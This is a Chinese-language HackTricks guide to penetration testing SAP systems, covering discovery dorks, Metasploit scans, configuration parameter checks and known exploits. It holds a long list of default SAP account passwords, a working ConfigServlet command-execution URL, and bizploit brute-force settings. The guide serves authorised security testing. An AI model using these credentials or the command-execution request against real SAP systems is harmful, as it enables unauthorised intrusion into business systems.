hacktricks/network-services-pentesting/pentesting-sap.md

{% hint style="success" %}
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>支持 HackTricks</summary>

* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。

</details>
{% endhint %}

<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}


# 关于 SAP 的介绍

SAP 代表数据处理中的系统应用和产品。根据定义，SAP 也是 ERP（企业资源规划）软件的名称，以及公司的名称。
SAP 系统由多个完全集成的模块组成，几乎涵盖了业务管理的每个方面。

每个 SAP 实例（或 SID）由三层组成：数据库、应用程序和展示，每个环境通常由四个实例组成：开发、测试、质量保证和生产。
每一层在某种程度上都可以被利用，但通过 **攻击数据库** 可以获得最大的效果。

每个 SAP 实例被划分为多个客户端。每个客户端都有一个用户 SAP\*，这是应用程序的“根”相当于。
在初始创建时，这个用户 SAP\* 获得一个默认密码：“060719992”（更多默认密码见下文）。
如果你知道这些 **密码在测试或开发环境中并不常更改**，你会感到惊讶！

尝试使用用户名 &lt;SID&gt;adm 访问任何服务器的 shell。
暴力破解可能有帮助，但可能会有账户锁定机制。

# 发现

> 下一部分主要来自 [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) 的用户 shipcod3！

* 检查应用程序范围或测试的程序简要。注意连接到 SAP GUI 的主机名或系统实例。
* 使用 OSINT（开源情报）、Shodan 和 Google Dorks 检查文件、子域和有价值的信息，如果应用程序是面向互联网或公开的：
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```
* 这里是 [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) 的样子

![SAP 登录屏幕](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)

* 使用 nmap 检查开放端口和已知服务（sap 路由器，webdnypro，web 服务，web 服务器等）。
* 如果有运行的 web 服务器，爬取 URL。
* 如果在某些端口上有 web 服务器，请模糊测试目录（可以使用 Burp Intruder）。以下是 SecLists 项目提供的一些优秀字典，用于查找默认 SAP ICM 路径和其他有趣的目录或文件：

[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)  
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)  
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)

* 使用 SAP SERVICE DISCOVERY 辅助 Metasploit 模块枚举 SAP 实例/服务/组件：
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-01            yes       Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS                        yes       The target address range or CIDR identifier
THREADS      1                yes       The number of concurrent threads
TIMEOUT      1000             yes       The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101:       - [SAP] Beginning service Discovery '192.168.96.101'
```
## 测试厚客户端 / SAP GUI

这是连接到 SAP GUI 的命令  
`sapgui <sap server hostname> <system number>`

* 检查默认凭据 \(在 Bugcrowd 的漏洞评级分类中，这被视为 P1 -&gt; 服务器安全配置错误 \| 使用默认凭据 \| 生产服务器\):
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* 运行 Wireshark，然后使用您获得的凭据对客户端（SAP GUI）进行身份验证，因为某些客户端在没有 SSL 的情况下传输凭据。有两个已知的 Wireshark 插件可以解析 SAP DIAG 协议使用的主要头部：SecureAuth Labs SAP 解析插件和 Positive Research Center 的 SAP DIAG 插件。
* 检查特权提升，例如使用某些 SAP 事务代码（tcodes）对低权限用户：
* SU01 - 创建和维护用户
* SU01D - 显示用户
* SU10 - 批量维护
* SU02 - 手动创建配置文件
* SM19 - 安全审计 - 配置
* SE84 - SAP R/3 授权的信息系统
* 检查您是否可以在客户端执行系统命令/运行脚本。
* 检查您是否可以在 BAPI Explorer 上进行 XSS

# 测试 Web 界面

* 爬取 URL（参见发现阶段）。
* 像在发现阶段一样模糊测试 URL。以下是 [http://SAP:50000/index.html](http://sap:50000/index.html) 的样子：

![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)

* 查找常见的 Web 漏洞（参考 OWASP Top 10），因为某些地方存在 XSS、RCE、XXE 等漏洞。
* 查看 Jason Haddix 的 [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) 以测试 Web 漏洞。
* 通过动词篡改进行身份验证绕过？也许 :)
* 打开 `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`，然后点击“选择”按钮，在打开的窗口中按“搜索”。您应该能够看到 SAP 用户的列表（漏洞参考：[ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)）
* 凭据是通过 HTTP 提交的吗？如果是，则根据 Bugcrowd 的 [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy) 被视为 P3：破坏的身份验证和会话管理 | 通过 HTTP 的弱登录功能。提示：也检查 [http://SAP:50000/startPage](http://sap:50000/startPage) 或登录门户 :)

![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)

* 尝试 `/irj/go/km/navigation/` 以获取可能的目录列表或身份验证绕过
* [http://SAP/sap/public/info](http://sap/sap/public/info) 包含一些有价值的信息：
```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```
# 配置参数

如果您在渗透测试期间拥有正确的登录详细信息，或者您已成功使用基本凭据登录到 SAP GUI，您可以检查参数值。许多基本和自定义配置参数值被视为漏洞。

您可以手动和自动检查参数值，使用脚本（例如 [SAP Parameter Validator](https://github.com/damianStrojek/SAPPV)）。

## 手动参数检查

通过导航到事务代码 `RSPFPAR`，您可以查询不同的参数并查找其值。

下表包含定义的参数及其区分条件。

例如，如果 <i>gw/reg_no_conn_info</i> 设置为小于 255 (`<255`)，则应视为威胁。同样，如果 <i>icm/security_log</i> 等于二 (`2`)，它也将是一个可能的威胁。

| 参数                                          | 约束        | 描述                                          |
|-----------------------------------------------|-------------|-----------------------------------------------|
| `auth/object_disabling_active`                | `Y`         | 指示对象禁用是否处于活动状态。                |
| `auth/rfc_authority_check`                    | `<2`        | 设置 RFC 的权限检查级别。                     |
| `auth/no_check_in_some_cases`                 | `Y`         | 指定在某些情况下是否绕过检查。                |
| `bdc/bdel_auth_check`                        | `FALSE`     | 确定 BDC 中是否强制执行授权检查。              |
| `gw/reg_no_conn_info`                        | `<255`      | 限制注册号连接信息的字符数。                  |
| `icm/security_log`                           | `2`         | 定义 ICM（互联网通信管理器）的安全日志级别。  |
| `icm/server_port_0`                          | `Display`   | 指定 ICM 的服务器端口（端口 0）。             |
| `icm/server_port_1`                          | `Display`   | 指定 ICM 的服务器端口（端口 1）。             |
| `icm/server_port_2`                          | `Display`   | 指定 ICM 的服务器端口（端口 2）。             |
| `login/password_compliance_to_current_policy` | `0`         | 强制密码符合当前政策。                        |
| `login/no_automatic_user_sapstar`             | `0`         | 禁用自动用户 SAPSTAR 分配。                   |
| `login/min_password_specials`                 | `0`         | 密码中要求的特殊字符的最小数量。              |
| `login/min_password_lng`                      | `<8`        | 密码要求的最小长度。                          |
| `login/min_password_lowercase`                | `0`         | 密码中要求的小写字母的最小数量。              |
| `login/min_password_uppercase`                | `0`         | 密码中要求的大写字母的最小数量。              |
| `login/min_password_digits`                   | `0`         | 密码中要求的数字的最小数量。                  |
| `login/min_password_letters`                  | `1`         | 密码中要求的字母的最小数量。                  |
| `login/fails_to_user_lock`                    | `<5`        | 锁定用户帐户之前的失败登录尝试次数。          |
| `login/password_expiration_time`              | `>90`       | 密码过期时间（天）。                          |
| `login/password_max_idle_initial`             | `<14`       | 要求重新输入密码之前的最大空闲时间（分钟，初始）。 |
| `login/password_max_idle_productive`          | `<180`      | 要求重新输入密码之前的最大空闲时间（分钟，生产）。 |
| `login/password_downwards_compatibility`      | `0`         | 指定是否启用密码的向下兼容性。                |
| `rfc/reject_expired_passwd`                   | `0`         | 确定是否拒绝 RFC（远程功能调用）的过期密码。  |
| `rsau/enable`                                | `0`         | 启用或禁用 RS AU（授权）检查。                |
| `rdisp/gui_auto_logout`                      | `<5`        | 指定自动注销 GUI 会话之前的时间（分钟）。     |
| `service/protectedwebmethods`                 | `SDEFAULT`  | 指定受保护的 Web 方法的默认设置。             |
| `snc/enable`                                 | `0`         | 启用或禁用安全网络通信（SNC）。                |
| `ucon/rfc/active`                            | `0`         | 激活或停用 UCON（统一连接）RFC。              |

## 参数检查脚本

由于参数数量众多，您还可以将所有参数导出到 .XML 文件，并使用脚本 [SAPPV (SAP Parameter Validator)](https://github.com/damianStrojek/SAPPV)，该脚本将检查上述所有参数并打印其值及适当的区分。
```
./SAPPV.sh EXPORT.XML

Parameter: auth/no_check_in_some_cases
User-Defined Value: No data
System Default Value: Y
Comment: Activation of the Profile Generator
Vulnerability: "SAP Parameter Misconfiguration: auth/no_check_in_some_cases"

Parameter: auth/object_disabling_active
User-Defined Value: N
System Default Value: N
Comment: Value 'N' prohibits disabling of authorization objects
Vulnerability: "SAP Parameter Misconfiguration: auth/object_disabling_active"

Parameter: auth/rfc_authority_check
User-Defined Value: 6
System Default Value: 6
Comment: Execution option for the RFC authority check
Vulnerability: "SAP Parameter Misconfiguration: auth/rfc_authority_check"

Parameter: bdc/bdel_auth_check
User-Defined Value: No data
System Default Value: FALSE
Comment: batch-input: check authorisation for activity DELE when delete TA
Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check"

[...]
```
# 攻击！

* 检查它是否运行在旧服务器或技术上，如 Windows 2000。
* 计划可能的利用 / 攻击，针对 SAP 发现有很多 Metasploit 模块（辅助模块）和利用：
```text
msf > search sap
Matching Modules
================
Name                                                                     Disclosure Date  Rank       Description
----                                                                     ---------------  ----       -----------
auxiliary/admin/maxdb/maxdb_cons_exec                                    2008-01-09       normal     SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth                        2012-11-01       normal     SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec                                                   normal     SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file                                            normal     SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi                                  2008-11-13       normal     Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi                              2011-04-12       normal     Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute                                     normal     SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web                                 normal     SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum                                      normal     SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum                                   normal     SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt                                    normal     SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem                                      normal     SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info                                                 normal     SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan                                                     normal     SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog                                                normal     SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login                                            normal     SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers                                           normal     SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints                                        normal     SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv                                                 normal     SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles                                            normal     SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist                                         normal     SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter                                    normal     SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties                                     normal     SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles                                           normal     SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile                                           normal     SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version                                                normal     SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request                                             normal     SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner                                              normal     SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery                                               normal     SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay                                                       normal     SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1                                          normal     SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login                                            normal     SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec                   normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec                               normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing                              normal     SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence                            normal     SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping                                                   normal     SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table                                             normal     SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir                                           normal     SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface                                normal     SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec                                  normal     SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec                                      normal     SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info                                            normal     SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure                                       normal     SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login                                             normal     SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload                            2011-03-08       excellent  SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec                     2013-03-26       great      SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec                         2012-05-08       great      SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download                        2009-04-15       excellent  EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml                    2007-07-05       normal     EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile                     2009-03-31       normal     SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth                       2012-11-01       great      SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec                           2012-08-14       average    SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools                                      2007-07-05       great      SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd                                               2008-02-04       good       SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license                                    2009-08-01       great      SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher                            2012-05-08       normal     SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
```
* 尝试使用一些已知的漏洞（查看 Exploit-DB）或攻击，例如在 SAP Portal 中的老牌“SAP ConfigServlet 远程代码执行”：
```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)

* 在发现阶段运行 bizploit 脚本的 `start` 命令之前，您还可以添加以下内容以执行漏洞评估：
```text
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start
```
# 其他有用的测试工具

* [PowerSAP](https://github.com/airbus-seclab/powersap) - 用于评估SAP安全性的Powershell工具
* [Burp Suite](https://portswigger.net/burp) - 目录模糊测试和网络安全评估的必备工具
* [pysap](https://github.com/SecureAuthCorp/pysap) - 用于构造SAP网络协议数据包的Python库
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - 帮助nmap检测SAP/ERP

## 参考文献

* [使用Metasploit进行SAP渗透测试](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - 一个半自动化Bizploit的脚本
* [SAP NetWeaver ABAP安全配置第3部分：访问应用程序的默认密码](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [与SAP安全相关的ABAP事务代码列表](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [破解SAP门户](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [十大最有趣的SAP漏洞和攻击](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [使用Bizploit评估SAP生态系统的安全性：发现](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)

<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>

{% embed url="https://websec.nl/" %}


{% hint style="success" %}
学习和实践AWS黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家（ARTE）**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家（GRTE）**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>支持HackTricks</summary>

* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。

</details>
{% endhint %}